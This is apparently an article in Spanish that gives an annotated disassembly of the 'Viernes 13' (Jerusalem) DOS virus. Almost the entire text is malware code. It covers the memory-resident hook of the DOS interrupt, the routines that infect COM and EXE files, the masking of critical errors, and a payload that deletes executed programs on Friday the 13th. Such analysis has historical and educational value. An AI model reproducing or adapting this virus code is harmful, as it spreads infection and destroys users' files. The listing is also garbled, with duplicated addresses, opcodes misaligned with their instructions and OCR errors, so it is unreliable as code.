

VIERNES 13

Por Santiago Calvo

C:\WINDOWS\debug a:\autodemo\w3show.exe

31AE:0000 E99200 JMP 0095 ;punto de entrada para un programa infectado del tipo COM

31AE:0095 FC CLD

31AE:0096 B4E0 MOV AH,E0 ;ver si viernes13 ya esta

31AE:0098 CD21 INT 21 ;residente

31AE:009A 80FCEO CMP AH,E0

31AE:009D 7316 JNB 00B5

31AE:009F 80FC03 CMP AH,03

31AE:00A2 7211 JB 00B5

31AE:00A4 B4DD MOV AH,DD ;Colocar junto al

31AE:00A6 BF0001 MOV DI,0100 ;PSP el programa

31AE:00A9 BE1007 MOV SI,0710 ;original

31AE:00AC 03F7 ADD SI,DI ;y saltar

31AE:00AE 2E CS: ;hacia

31AE:00AF BB8D1100 MOV CX,[DI+0011] ;su

31AE:00B3 CD21 INT 21 ;codigo.

31AE:00B5 BCC8 MOV AX,CS ;Iniciar

31AE:00B7 051000 ADD AX,0010 ;la pila

31AE:00BA 8ED0 MOV SS,AX ;SS apunta pasado el PSP.

31AE:00BC BC0007 MOV SP,0700

31AE:00BF 50 PUSH AX ;Triqui\$uela par

31AE:00C0 BBC500 MOV AX,00C5 ;cambiar el valor

31AE:00C3 50 PUSH AX ;de CS,

31AE:00C4 CB RETF ;CS apunta pasado el PSP.

31AE:00C5 FC CLD ;este es el punto de entrada para un

31AE:00C6 06 PUSH ;programa infectado del tipo EXE.

31AE:00C7 2E CS: ES

31AE:00C8 BC063100 MOV [0031],ES ;Recuerda CS apunta pasado el PSP.

31AE:00C9 2E CS: [0031],ES ;Guardar situacion del PSP.

31AE:00CD BC063900 MOV [0039],ES

31AE:00D1 2E CS:

31AE:00D2 BC063D00 MOV [003D],ES

31AE:00D6 2E CS:

31AE:00D7 BC064100 MOV [0041],ES

31AE:00DB BCC0 MOV AX,ES ;Reposicionar la direccion

31AE:00DD 051000 ADD AX,0010 ;segmento del punto de entrada

31AE:00E0 2E CS: ;al programa del tipo

31AE:00E1 01064900 ADD [0049],AX ;EXE original.

31AE:00E5 2E CS:

31AE:00E6 01064500 ADD [0045],AX;En la posicion 45 esta guardada

31AE:00EA B4E0 MOV AH,E0 ;la direccion segmento de la pila

31AE:00EC CD21 INT 21 ;original del programa EXE.

31AE:00EE 80FCEO CMP AH,E0 ;Ver si viernes

31AE:00F1 7313 JNB 0106 ;esta residente.

31AE:00F3 80FC03 CMP AH,03

31AE:00F6 07 POP ES

31AE:00F7 2E CS:

31AE:00F8 BE164500 MOV SS,[0045] ;Iniciar la pila con la

31AE:00FC 2E CS: ;direccion original del

31AE:00FD BB264300 MOV SP,[0043] ;programa tipo EXE.

31AE:0101 2E CS:

31AE:0102 FF2E4700 JMP FAR [0047] ;Saltar al punto de entrada

31AE:0103 2E CS: ;del programa EXE.

;Viernes13 no estaba residente.Codigo para quedar residente

31AE:010B A1FC03 MOV AX,[03FC]
31AE:010E 2E CS:
31AE:010F A34B00 MOV [004B],AX
31AE:0112 26 ES:
31AE:0113 A0FE03 MOV AL,[03FE]
31AE:0116 2E CS:
31AE:0117 A24D00 MOV [004D],AL
31AE:011A 26 ES:
31AE:011B C706FC03F3A5 MOV WORD PTR [03FC],A5F3
31AE:0121 26 ES:
31AE:0122 C606FE03CB MOV BYTE PTR [03FE],CB
31AE:0127 58 POP AX ;Direccion segmento del PSP en AX.
31AE:0128 051000 ADD AX,0010
31AE:012B BECO MOV ES,AX ;ES apuntando al inicio del codigo
;del programa, es decir pasado el PSP.
31AE:012D OE PUSH CS
31AE:012E 1F POP DS ;DS apuntando al segmento de codigo
;del virus.
31AE:012F B91007 MOV CX,0710
31AE:0132 D1E9 SHR CX,1
31AE:0134 33F6 XOR SI,SI
31AE:0136 BBFE MOV DI,SI
31AE:0138 06 PUSH ES
31AE:0139 B84201 MOV AX,0142
31AE:013C 50 PUSH AX
31AE:013D EAFC030000 JMP 0000:03FC ;en esta posicion de salto se
;habia cargado el codigo siguiente:
;en [03FC] se puso A5F3
;en [03FE] se puso CB
;que en ensamble corresponde a
; REP MOVSW
; RET
;el codigo del virus se coloca
;inmediatamente despues del PSP
;la direccion de retorno es ES:0142
;que cae dentro de la zona de codigo
;trasladado y es equivalente a saltar
;a 31AE:0142 de este listado.
31AE:0142 8CC8 MOV AX,CS ;Al producirse el salto anterior
;CS ya no es 31AE segun este listado
;CS apunta pasado el PSP
;Ver el nuevo valor de CS
31AE:0144 BED0 MOV SS,AX ;Cargar SS y SP con los valores
31AE:0146 BC0007 MOV SP,0700 ;correspondientes a la pila del
;virus.
31AE:0149 33C0 XOR AX,AX
31AE:014B BED8 MOV DS,AX
31AE:014D 2E CS:
31AE:014E A14B00 MOV AX,[004B] ;Restaurar los antiguos datos
31AE:0151 A3FC03 MOV [03FC],AX ;de las posiciones 0000:03FC
31AE:0154 2E CS:
31AE:0155 A04D00 MOV AL,[004D] ;
31AE:0158 A2FE03 MOV [03FE],AL ;y 0000:03FE.
31AE:015B BBDC MOV BX,SP ;Aqui el virus se esta
31AE:015D B104 MOV CL,04 ;preparando para
31AE:015F D3EB SHR BX,CL ;dejar libre
31AE:0161 83C310 ADD BX,+10 ;la
31AE:0164 2E CS:
31AE:0165 891E3300 MOV [0033],BX ;memoria
31AE:0169 B44A MOV AH,4A ;sobrante.
31AE:016B 2E CS:
31AE:016C BE063100 MOV ES,[0031] ;Direccion del PSP en ES.
31AE:0170 CD21 INT 21 ;Redefinir tamaño de bloque

31AE:0177 2E
31AE:0178 891E1700
31AE:017C 2E
31AE:017D 8C061900
31AE:0181 0E
31AE:0182 1F
31AE:0183 BA5B02
31AE:0186 B82125
31AE:0189 CD21
31AE:018B BE063100
31AE:018F 26
31AE:0190 BE062C00
31AE:0194 33FF
31AE:0196 B9FF7F
31AE:0199 32C0
31AE:019B F2
31AE:019C AE
31AE:019D 26
31AE:019E 3805
31AE:01A0 E0F9
31AE:01A2 8BD7
31AE:01A4 83C203
31AE:01A7 B8004B
31AE:01AA 06
31AE:01AB 1F
31AE:01AC 0E
31AE:01AD 07
31AE:01AE BB3500
31AE:01B1 1E
31AE:01B2 06
31AE:01B3 50
31AE:01B4 53
31AE:01B5 51
31AE:01B6 52
31AE:01B7 B42A
31AE:01B9 CD21
31AE:01BB 2E
31AE:01BC C6060E0000
31AE:01C1 81F9C307
31AE:01C5 7430
31AE:01C7 3C05
31AE:01C9 750D
31AE:01CB 80FA0D
31AE:01CE 7508
31AE:01D0 2E
31AE:01D1 FE060E00
31AE:01D5 EB20
31AE:01D7 90
31AE:01D8 B80835
31AE:01DB CD21
31AE:01DD 2E
31AE:01DE 891E1300
31AE:01E2 2E
31AE:01E3 8C061500
31AE:01E7 0E
31AE:01E8 1F
31AE:01E9 C7061F00907E

CS:
MOV [0017],BX ;Guardar vector
CS:
MOV [0019],ES ;de
PUSH CS ;int21h.
POP DS ;Modificar vector de int21h
MOV DX,025B ;colocando en su lugar
MOV AX,2521 ;CS:025b
INT 21 ;Recuerda CS apunta pasado PSP.
MOV ES,[0031] ;Direccion del PSP en ES.
ES:
MOV ES,[002C] ;Preparandose para leer el
XOR DI,DI ;ambiente del DOS que esta
MOV CX,7FFF ;copiado en el offset 2C del PSP.
XOR AL,AL
REP NZ
SCASB
ES:
CMP EDI,AL
LOOP NZ 019B
MOV DX,DI
ADD DX,+03
MOV AX,4B00
PUSH ES
POP DS ;DS apuntando al ambiente.
PUSH CS
POP ES ;ES apuntando pasado el PSP.
MOV BX,0035
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV AH,2A ;Preguntar la fecha al sistema.
INT 21
CS:
MOV BYTE PTR [000E],00
CMP CX,07C3 ;Ver si el año es 1987.
JZ 01F7 ;Si es 1987 saltar.
CMP AL,05 ;Ver si es viernes.
JNZ 01D8 ;Saltar si no es viernes.
CMP DL,0D ;Ver si es dia 13.
JNZ 01D8 ;Saltar si no es dia 13.
CS:
INC BYTE PTR [000E];Poner bandera indicadora
;de que el virus ha sido activado
;en un viernes dia 13 de un mes
;cualquiera de un año distinto
;de 1987.
JMP 01F7
NOP
MOV AX,3508 ;Buscar vector de int8.
INT 21
CS:
MOV [0013],BX ;Guardar offset de int8.
CS:
MOV [0015],ES ;Guardar segmento de int8.
PUSH CS
POP DS ;DS apunta pasado el PSP.
WORD PTR [001F],7E90;Cuenta de tiempo
;para sacar el agujero
;negro por pantalla.

31AE:01F7 5A	POP	DX
31AE:01F8 59	POP	CX
31AE:01F9 5B	POP	BX
31AE:01FA 58	POP	AX
31AE:01FB 07	POP	ES
31AE:01FC 1F	POP	DS
31AE:01FD 9C	PUSHF	
31AE:01FE 2E	CS:	
31AE:01FF FF1E1700	CALL	FAR [0017];Llamar a la int21 original ;con AX=4B00H ,funcion EXEC. ;
31AE:0203 1E	PUSH	DS ;DS apuntando al ambiente.
31AE:0204 07	POP	ES
31AE:0205 B449	MOV	AH,49 ;Liberar el bloque de memoria
31AE:0207 CD21	INT	21 ;apuntado por ES.
31AE:0209 B44D	MOV	AH,4D
31AE:020B CD21	INT	21
31AE:020D B431	MOV	AH,31 ;El
31AE:020F BA0006	MOV	DX,0600 ;virus
31AE:0212 B104	MOV	CL,04 ;acaba
31AE:0214 D3EA	SHR	DX,CL ;y
31AE:0216 B3C210	ADD	DX,+10 ;quedan
31AE:0219 CD21	INT	21 ;residente.

;Rutina propia de viernes13 para el tratamiento de int24 (errores criticos)
;Con esto pretende enmascararse en caso
;de que el sistema detecte algun error
;evitando con ello la aparicion en pantalla
;del mensaje de error.

31AE:021B 32C0	XOR	AL,AL
31AE:021D CF	IRET	

;Rutina propia de viernes13 para el tratamiento de int8.
;Int8 es producida por el hardware 18'2 veces
;cada segundo.

31AE:021E 2E	CS:	
31AE:021F 833E1F0002	CMP	WORD PTR [001F],+02
31AE:0224 7517	JNZ	023D
31AE:0226 50	PUSH	AX
31AE:0227 53	PUSH	BX
31AE:0228 51	PUSH	CX
31AE:0229 52	PUSH	DX
31AE:022A 55	PUSH	BP
31AE:022B B80206	MOV	AX,0602 ;Hacer el agujero negro
31AE:0230 B90505	MOV	CX,0505 ;en
31AE:0233 BA1010	MOV	DX,1010 ;la
31AE:0236 CD10	INT	10 ;pantalla.
31AE:0238 5D	POP	BP
31AE:0239 5A	POP	DX
31AE:023A 59	POP	CX
31AE:023B 5B	POP	BX
31AE:023C 58	POP	AX
31AE:023D 2E	CS:	
31AE:023E FFOE1F00	DEC	WORD PTR [001F]
31AE:0242 7512	JNZ	0256
31AE:0244 2E	CS:	
31AE:0245 C7061F000100	MOV	WORD PTR [001F],0001
31AE:024B 50	PUSH	AX
31AE:024C 51	PUSH	CX
31AE:024D 56	PUSH	SI
31AE:024E B90140	MOV	CX,4001
31AE:022E B787	MOV	BH,87
31AE:0230 B90505	MOV	CX,0505

31AE:0239 5A	POP	DX
31AE:023A 59	POP	CX
31AE:023B 5B	POP	BX
31AE:023C 58	POP	AX
31AE:023D 2E	CS:	
31AE:023E FFOE1FOO	DEC	WORD PTR [001F]
31AE:0242 7512	JNZ	0256
31AE:0244 2E	CS:	
31AE:0245 C7061F000100	MOV	WORD PTR [001F],0001
31AE:024B 50	PUSH	AX
31AE:024C 51	PUSH	CX
31AE:024D 56	PUSH	SI
31AE:024E B90140	MOV	CX,4001
31AE:0251 F3	REPZ	
31AE:0252 AC	LODSB	
31AE:0253 5E	POP	SI
31AE:0254 59	POP	CX
31AE:0255 58	POP	AX
31AE:0256 2E	CS:	
31AE:0257 FF2E1300	JMP	FAR [0013] ;Saltar a int8 original.

;*****
;comienzo de la rutina propia del virus para el tratamiento de int21h

31AE:025B 9C	PUSHF	
31AE:025C 80FCEO	CMP	AH,E0 ;Ver si preguntan por viernes13
31AE:025F 7505	JNZ	0266 ;Si no es asi saltar
31AE:0261 B80003	MOV	AX,0300 ;Responder poniendo 03 en AH
31AE:0264 9D	POPF	;lo que indica al demandante
31AE:0265 CF	IRET	;que viernes13 ya esta colocado
31AE:0266 80FCDD	CMP	AH,DD ;Ver si se llama a int21
		;funcion DD.
31AE:0269 7413	JZ	027E ;Si es asi saltar.
31AE:026B 80FCDE	CMP	AH,DE
31AE:026E 7428	JZ	0298
31AE:0270 3D004B	CMP	AX,4B00 ;Ver si se llama a int21 para
		;ejecutar un programa.
31AE:0273 7503	JNZ	0278
31AE:0275 E9B400	JMP	032C ;Se llamo para ejecutar un programa
		;ocasion de viernes13 para poder
		;infectarlo.Saltar a la rutina de
		;infeccion.
31AE:0278 9D	POPF	
31AE:0279 2E	CS:	
31AE:027A FF2E1700	JMP	FAR [0017] ;Saltar a la int21 original.
31AE:027E 58	POP	AX ;POP de los flags introducido por
		;la instruccion con direccion en
		;31AE:025B.
31AE:027F 58	POP	AX ;POP de los flags introducidos en
		;la llamada a int21h.
31AE:0280 B80001	MOV	AX,0100
31AE:0283 2E	CS:	
31AE:0284 A30A00	MOV	[000A],AX
31AE:0287 58	POP	AX ;AX con el valor de CS cuando
		;se llamo a int21h.
31AE:0288 2E	CS:	
31AE:0289 A30C00	MOV	[000C],AX
31AE:028C F3	REPZ	
31AE:028D A4	MOVSB	
31AE:028E 9D	POPF	

31AE:0294 FF2EOA00	JMP	FAR [000A]	;[000A] tiene CS:0100 siendo ;CS el valor que tenia cuando ;se llamo a int21h con AH=DE.
31AE:0298 83C406	ADD	SP,+06	
31AE:029B 9D	POPF	AX,CS	
31AE:029C 8CC8	MOV	SS,AX	
31AE:029E 8ED0	MOV	SP,0710	
31AE:02A0 BC1007	PUSH	ES	
31AE:02A3 06	PUSH	ES	
31AE:02A4 06	XOR	DI,DI	
31AE:02A5 33FF	PUSH	CS	
31AE:02A7 0E	POP	ES	
31AE:02A8 07	MOV	CX,0010	
31AE:02A9 B91000	MOV	SI,BX	
31AE:02AC 8BF3	MOV	DI,0021	
31AE:02AE BF2100	REPZ		
31AE:02B1 F3	MOVSB		
31AE:02B2 A4	MOV	AX,DS	
31AE:02B3 8CD8	MOV	ES,AX	
31AE:02B5 8ED0	CS:		
31AE:02B7 2E	MUL	WORD PTR [007A]	
31AE:02B8 F7267A00	CS:		
31AE:02BC 2E	ADD	AX,[002B]	
31AE:02BD 03062B00	ADC	DX,+00	
31AE:02C1 83D200	CS:		
31AE:02C4 2E	DIV	WORD PTR [007A]	
31AE:02C5 F7367A00	MOV	DS,AX	
31AE:02C9 8ED8	MOV	SI,DX	
31AE:02CB 8BF2	MOV	DI,DX	
31AE:02CD 8BFA	MOV	BP,ES	
31AE:02CF 8CC5	CS:		
31AE:02D1 2E	MOV	BX,[002F]	
31AE:02D2 BB1E2F00	OR	BX,BX	
31AE:02D6 0BDB	JZ	02ED	
31AE:02D8 7413	MOV	CX,8000	
31AE:02DA B90080	REPZ		
31AE:02DD F3	MOVSW		
31AE:02DE A5	ADD	AX,1000	
31AE:02DF 050010	ADD	BP,1000	
31AE:02E2 81C50010	MOV	DS,AX	
31AE:02E6 8ED8	MOV	ES,BP	
31AE:02E8 8EC5	DEC	BX	
31AE:02EA 4B	JNZ	02DA	
31AE:02EB 75ED	CS:		
31AE:02ED 2E	MOV	CX,[002D]	
31AE:02EE BB0E2D00	REPZ		
31AE:02F2 F3	MOVSB		
31AE:02F3 A4	POP	AX	
31AE:02F4 58	PUSH	AX	
31AE:02F5 50	ADD	AX,0010	
31AE:02F6 051000	CS:		
31AE:02F9 2E	ADD	[0029],AX	
31AE:02FA 01062900	CS:		
31AE:02FE 2E	ADD	[0025],AX	
31AE:02FF 01062500	CS:		
31AE:0303 2E	MOV	AX,[0021]	
31AE:0304 A12100	POP	DS	
31AE:0307 1F	POP	ES	
31AE:0308 07	CS:		
31AE:0309 2E	MOV	SS,[0029]	
31AE:030A BE162900	CS:		
31AE:030E 2E			

;Rutina para borrar archivo ejecutable, era viernes dia 13.

31AE:0318 33C9 XOR CX,CX
31AE:031A B80143 MOV AX,4301
31AE:031D CD21 INT 21
31AE:031F B441 MOV AH,41
31AE:0321 CD21 INT 21
31AE:0323 B8004B MOV AX,4B00
31AE:0326 9D POPF
31AE:0327 2E CS:
31AE:0328 FF2E1700 JMP FAR [0017];Saltar a int21h original.

;*****RUTINA DE INFECCION ,se llamo a int21 para ejecutar un programa

31AE:032C 2E CS:
31AE:032D 803E0E0001 CMP BYTE PTR [000E],01;Ver la bandera
;de que
;el virus estaba activo
;en un viernes 13 de un año
;distinto de 1987.

31AE:0332 74E4 JZ 0318 ;Saltar para borrar archivo

31AE:0334 2E CS:
31AE:0335 C7067000FFFF MOV WORD PTR [0070],FFFF ;Handle borrado.
31AE:033B 2E CS:
31AE:033C C7068F000000 MOV WORD PTR [008F],0000 ;Quitar bandera
;indicadora de que
;se ha pedido
;memoria.

31AE:0342 2E CS:
31AE:0343 89168000 MOV [0080],DX ;DS:DX zona donde se encuentra
;la especificacion del programa a ejecutar.

31AE:0347 2E CS:
31AE:0348 8C1E8200 MOV [0082],DS
31AE:034C 50 PUSH AX
31AE:034D 53 PUSH BX
31AE:034E 51 PUSH CX
31AE:034F 52 PUSH DX
31AE:0350 56 PUSH SI
31AE:0351 57 PUSH DI
31AE:0352 1E PUSH DS
31AE:0353 06 PUSH ES
31AE:0354 FC CLD
31AE:0355 8BF A MOV DI,DX
31AE:0357 32D2 XOR DL,DL
31AE:0359 807D013A CMP BYTE PTR [DI+01],3A ;3A codigo ascii de
;los dos puntos ":"

31AE:035D 7505 JNZ 0364
31AE:035F 8A15 MOV DL,[DI]
31AE:0361 80E21F AND DL,1F
31AE:0364 B436 MOV AH,36
31AE:0366 CD21 INT 21
31AE:0368 3DFFFF CMP AX,FFFF ;Ver si int21 funcion 36,no se ejecuto
;correctamente.

31AE:036B 7503 JNZ 0370 ;No hubo error, saltar.
31AE:036D E97702 JMP 05E7 ;Hubo error, saltar.

31AE:0370 F7E3 MUL BX
31AE:0372 F7E1 MUL CX ;En AX se tiene el n' de bytes
;disponibles en la unidad por la
;que se preguntó.

31AE:0374 0BD2 OR DX,DX
31AE:0376 7505 JNZ 037D
31AE:0378 3D1007 CMP AX,0710 ;Ver si el n' de bytes disponibles
;es suficiente para poder colocar el

31AE:037D 2E	CS:	
31AE:037E BB168000	MOV	DX,[0080];En [0080] se encuentra el offset ;de la direccion de la zona de ;especificacion del programa a ;ejecutar, es decir su nombre.
31AE:0382 1E	PUSH	DS
31AE:0383 07	POP	ES ;En ES la direccion segmento de la ;zona de especificacion del programa ;a ejecutar.
31AE:0384 32C0	XOR	AL,AL
31AE:0386 B94100	MOV	CX,0041 ;Apuntar con ES:DI y ;buscar el primer caracter nulo.
31AE:0389 F2	REPNZ	
31AE:038A AE	SCASB	
31AE:038B 2E	CS:	
31AE:038C BB368000	MOV	SI,[0080];SI apuntando al comienzo de la ;zona de especificacion del programa ;a ejecutar.
31AE:0390 8A04	MOV	AL,[SI];Cargar AL con el caracter.
31AE:0392 0AC0	OR	AL,AL ;Ver si es nulo.
31AE:0394 740E	JZ	03A4
31AE:0396 3C61	CMP	AL,61 ;Ver si el caracter
31AE:0398 7207	JB	03A1 ;apuntado esta
31AE:039A 3C7A	CMP	AL,7A ;entre la 'a' y la 'z'.
31AE:039C 7703	JA	03A1 ;Si es asi saltar a 03A1.
31AE:039E 802C20	SUB	BYTE PTR [SI],20 ;Mayuscular.
31AE:03A1 46	INC	SI ;Apuntar al siguiente caracter.
31AE:03A2 EBEC	JMP	0390
31AE:03A4 B90B00	MOV	CX,000B ;Preparado para comparar dos cadenas
31AE:03A7 2BF1	SUB	SI,CX ;de 11 octetos.
31AE:03A9 BFB400	MOV	DI,0084 ;En [0084] esta la cadena COMMAND.COM
31AE:03AC 0E	PUSH	CS ;por lo tanto se esta comprobando si
31AE:03AD 07	POP	ES ;el programa a ejecutar es command/com.
31AE:03AE B90B00	MOV	CX,000B
31AE:03B1 F3	REPZ	
31AE:03B2 A6	CMPSB	
31AE:03B3 7503	JNZ	03B8 ;Si no es command.com saltar a 03B8.
31AE:03B5 E92F02	JMP	05E7
31AE:03B8 B80043	MOV	AX,4300 ;Buscar los atributos del archivo
31AE:03BB CD21	INT	21 ;que contiene el programa.
31AE:03BD 7205	JB	03C4
31AE:03BF 2E	CS:	
31AE:03C0 890E7200	MOV	[0072],CX;Guardar atributos en [0072].
31AE:03C4 7225	JB	03EB
31AE:03C6 32C0	XOR	AL,AL
31AE:03C8 2E	CS:	
31AE:03C9 A24E00	MOV	[004E],AL
31AE:03CC 1E	PUSH	DS
31AE:03CD 07	POP	ES
31AE:03CE BBFA	MOV	DI,DX ;DX recuerda tiene el offset de ;la direccion donde estan los ;parametros pasados en la llamada ;al archivo a ejecutar.
31AE:03D0 B94100	MOV	CX,0041 ;Buscar primer caracter ;no nulo.
31AE:03D3 F2	REPNZ	
31AE:03D4 AE	SCASB	
31AE:03D5 807DFE4D	CMP	BYTE PTR [DI-02],4D ;Ver si es m o M
31AE:03D9 740B	JZ	03E6 ;el caracter anterior.
31AE:03DB 807DFE6D	CMP	BYTE PTR [DI-02],6D ;En definitiva ;ver si es COM
31AE:03DF 7405	JZ	03E6 ;o EXE.

31AE:03E6 B8003D	MOV	AX,3D00	;Abrir el archivo en lectura
31AE:03E9 CD21	INT	21	;DS:DX apunta al nombre.
31AE:03EB 725A	JB	0447	
31AE:03ED 2E	CS:		
31AE:03EE A37000	MOV	[0070],AX	;Guardar el handle del archivo
31AE:03F1 8BD8	MOV	BX,AX	
31AE:03F3 B80242	MOV	AX,4202	;Poner el apuntador del archivo
31AE:03F6 B9FFFF	MOV	CX,FFFF	;al final de este y con un
			;offset
31AE:03F9 BAFBFF	MOV	DX,FFFFB	;de -5 Decimal (fffffffhb)
31AE:03FC CD21	INT	21	;la funcion devuelve en DX:AX
			;el
			;offset absoluto del principio
			;del
			;archivo.
31AE:03FE 72EB	JB	03EB	
31AE:0400 050500	ADD	AX,0005	
31AE:0403 2E	CS:		
31AE:0404 A31100	MOV	[0011],AX	
31AE:0407 B90500	MOV	CX,0005	;Preparado para leer 5 bytes
31AE:040A BA6B00	MOV	DX,006B	;en DS:DX esta la zona de
			almacenamiento.
31AE:040D 8CC8	MOV	AX,CS	
31AE:040F 8ED8	MOV	DS,AX	
31AE:0411 BECO	MOV	ES,AX	
31AE:0413 B43F	MOV	AH,3F	;Leer del archivo
31AE:0415 CD21	INT	21	;su handle ya estaba en BX.
31AE:0417 BBFA	MOV	DI,DX	
31AE:0419 BE0500	MOV	SI,0005	;Preparado para ver si
			;esta infectado.
			;En [0005] esta la
			;cadena sUMsDOS.
31AE:041C F3	REPZ		
31AE:041D A6	CMPSB		
31AE:041E 7507	JNZ	0427	;No esta infectado saltar.
31AE:0420 B43E	MOV	AH,3E	;Cerrar el archivo, ya
31AE:0422 CD21	INT	21	;esta infectado.
31AE:0424 E9C001	JMP	05E7	
31AE:0427 B82435	MOV	AX,3524	
31AE:042A CD21	INT	21	;Buscar vector de int24
			;tratamiento de errores
			;criticos.
31AE:042C B91E1B00	MOV	[001B],BX	;Guardar segmento.
31AE:0430 BC061D00	MOV	[001D],ES	;Guardar offset.
31AE:0434 BA1B02	MOV	DX,021B	;Poner vector de int24 con la
31AE:0437 B82425	MOV	AX,2524	;direccion de la rutina
31AE:043A CD21	INT	21	;propria de viernes13
			;con esto se ocultara si
			;se produce
			;algun error enmascarandolo.
31AE:043C C5168000	LDS	DX,[0080]	;En [0080] esta la direccion
			;donde se encuentra el nombre
			;del archivo a ejecutar.
31AE:0440 33C9	XOR	CX,CX	
31AE:0442 B80143	MOV	AX,4301	
31AE:0445 CD21	INT	21	
31AE:0447 723B	JB	0484	
31AE:0449 2E	CS:		
31AE:044A B81E7000	MOV	BX,[0070]	;Cerrar el archivo cuyo handle
31AE:044E B43E	MOV	AH,3E	;esta guardado en [0070].
31AE:0450 CD21	INT	21	
31AE:0452 2E	CS:		

;modo de lectura escritura.

31AE:045E 7224	JB	0484	
31AE:0460 2E	CS:		
31AE:0461 A37000	MOV	[0070],AX	;Guardar handle
31AE:0464 8CC8	MOV	AX,CS	
31AE:0466 8ED8	MOV	DS,AX	
31AE:0468 BECO	MOV	ES,AX	
31AE:046A BB1E7000	MOV	BX,[0070]	;Buscar fecha y hora
31AE:046E B80057	MOV	AX,5700	;del archivo.
31AE:0471 CD21	INT	21	
31AE:0473 89167400	MOV	[0074],DX	;Guardar fecha.
31AE:0477 890E7600	MOV	[0076],CX	;Guardar hora.
31AE:047B B80042	MOV	AX,4200	;Poner el apuntador del archivo
31AE:047E 33C9	XOR	CX,CX	;al comienzo de este.
31AE:0480 BBD1	MOV	DX,CX	
31AE:0482 CD21	INT	21	
31AE:0484 723D	JB	04C3	
31AE:0486 803E4E0000	CMP	BYTE PTR [004E],00	;Ver si COM.
31AE:0488 7403	JZ	0490	;Si COM saltar.
31AE:048D EB57	JMP	04E6	;Es EXE.
;rutina para infectar programas COM			
31AE:048F 90	NOP		
31AE:0490 BB0010	MOV	BX,1000	;Pedir al sistema
31AE:0493 B448	MOV	AH,48	;un bloque de
31AE:0495 CD21	INT	21	;memoria,
			;la direccion segmento
			;del bloque pedido, es
			;devuelta en AX.
31AE:0497 730B	JNB	04A4	
31AE:0499 B43E	MOV	AH,3E	;Cerrar el archivo
31AE:049B BB1E7000	MOV	BX,[0070]	;cuya etiqueta esta
31AE:049F CD21	INT	21	;guardada en [0070].
31AE:04A1 E94301	JMP	05E7	
31AE:04A4 FF068F00	INC	WORD PTR [008F]	;Poner bandera indicadora de
			;que se ha pedido memoria.
31AE:04A8 BECO	MOV	ES,AX	;Direccion segmento del bloque
			;pedido en ES.
31AE:04AA 33F6	XOR	SI,SI	;SI a cero.
31AE:04AC BBFE	MOV	DI,SI	;DI a cero.
31AE:04AE B91007	MOV	CX,0710	;CX con el tamaño del virus
31AE:04B1 F3	REPZ		;Colocar el código del virus
31AE:04B2 A4	MOVSB		;en el bloque pedido.
31AE:04B3 BBD7	MOV	DX,DI	
31AE:04B5 8B0E1100	MOV	CX,[0011]	;DI tiene ahora el valor 0710h
31AE:04B9 BB1E7000	MOV	BX,[0070]	;Tamaño del archivo ejecutable.
			;Etiqueta del archivo
			;ejecutable.
31AE:04BD 06	PUSH	ES	;Copiar el archivo ejecutable
31AE:04BE 1F	POP	DS	;a continuación del código del
31AE:04BF B43F	MOV	AH,3F	;código del virus.
31AE:04C1 CD21	INT	21	
31AE:04C3 721C	JB	04E1	
31AE:04C5 03F9	ADD	DI,CX	
31AE:04C7 33C9	XOR	CX,CX	;Poner el apuntador
31AE:04C9 BBD1	MOV	DX,CX	;al principio del archivo.
31AE:04CB B80042	MOV	AX,4200	
31AE:04CE CD21	INT	21	

31AE:04D7 2E	CS:	
31AE:04D8 A4	MOVSB	
31AE:04D9 BBCF	MOV CX, DI	
31AE:04DB 33D2	XOR DX, DX	
31AE:04DD B440	MOV AH, 40	
31AE:04DF CD21	INT 21	
31AE:04E1 720D	JB 04FO	
31AE:04E3 E9BC00	JMP 05A2	

;rutina para infectar programas EXE

31AE:04E6 B91C00	MOV CX, 001C	;Lectura de
31AE:04E9 BA4F00	MOV DX, 004F	;la cabezera del
31AE:04EC B43F	MOV AH, 3F	;archivo exe, guardar
31AE:04EE CD21	INT 21	;en la zona de memoria
		;DS:DX.
31AE:04F0 724A	JB 053C	
31AE:04F2 C70661008419	MOV WORD PTR [0061], 1984	
31AE:04F8 A15D00	MOV AX, [005D]	;Segmento de pila en AX
31AE:04FB A34500	MOV [0045], AX	
31AE:04FE A15F00	MOV AX, [005F]	;Offset de pila en AX
31AE:0501 A34300	MOV [0043], AX	
31AE:0504 A16300	MOV AX, [0063]	;IP de entrada en AX
31AE:0507 A34700	MOV [0047], AX	
31AE:050A A16500	MOV AX, [0065]	;CS de entrada en AX
31AE:050D A34900	MOV [0049], AX	
31AE:0510 A15300	MOV AX, [0053]	;N' de sectores de tama\$o ;200h que ocupa el archivo ;EXE pasa a AX.
31AE:0513 833E510000	CMP WORD PTR [0051], +00	;El archivo EXE con ;toda probabilidad no ocu- ;para un n' entero de sec- ;tores de tama\$o 200h, en- ;tonces el resto esta en ;[0051], aqui se comprueba ;si este resto es cero.
31AE:0518 7401	JZ 051B	
31AE:051A 48	DEC AX	
31AE:051B F7267800	MUL WORD PTR [0078]	;Multiplicar AX por 200h ;para convertirlo en n' de ;bytes.
31AE:051F 03065100	ADD AX, [0051]	;Sumarle el resto.
31AE:0523 83D200	ADC DX, +00	
31AE:0526 050F00	ADD AX, 000F	;Re-
31AE:0529 83D200	ADC DX, +00	;don-
31AE:052C 25FOFF	AND AX, FFF0	;deo.
31AE:052F A37C00	MOV [007C], AX	
31AE:0532 89167E00	MOV [007E], DX	
31AE:0536 051007	ADD AX, 0710	
31AE:0539 83D200	ADC DX, +00	
31AE:053C 723A	JB 0578	
31AE:053E F7367800	DIV WORD PTR [0078]	;Dividir por 200h.
31AE:0542 0BD2	OR DX, DX	
31AE:0544 7401	JZ 0547	
31AE:0546 40	INC AX	
31AE:0547 A35300	MOV [0053], AX	;Tama\$o con el
31AE:054A 89165100	MOV [0051], DX	;virus adosado.
31AE:054E A17C00	MOV AX, [007C]	
31AE:0551 8B167E00	MOV DX, [007E]	
31AE:0555 F7367A00	DIV WORD PTR [007A]	
31AE:0559 2B065700	SUB AX, [0057]	;Restar el tama\$o de la ;cabezera del archivo EXE.
31AE:055D A36500	MOV [0065], AX	;Guardar la direccin ;segmento del punto de

;entrada a viernes13 cuando
 ;esta instalado en un
 ;archivo del tipo EXE.
 31AE:0566 A35D00 MOV [005D],AX
 31AE:0569 C7065F001007 MOV WORD PTR [005F],0710
 31AE:056F 33C9 XOR CX,CX
 31AE:0571 BBD1 MOV DX,CX ;Poner el puntero
 31AE:0573 B80042 MOV AX,4200 ;del archivo
 31AE:0576 CD21 INT 21 ;apuntando al
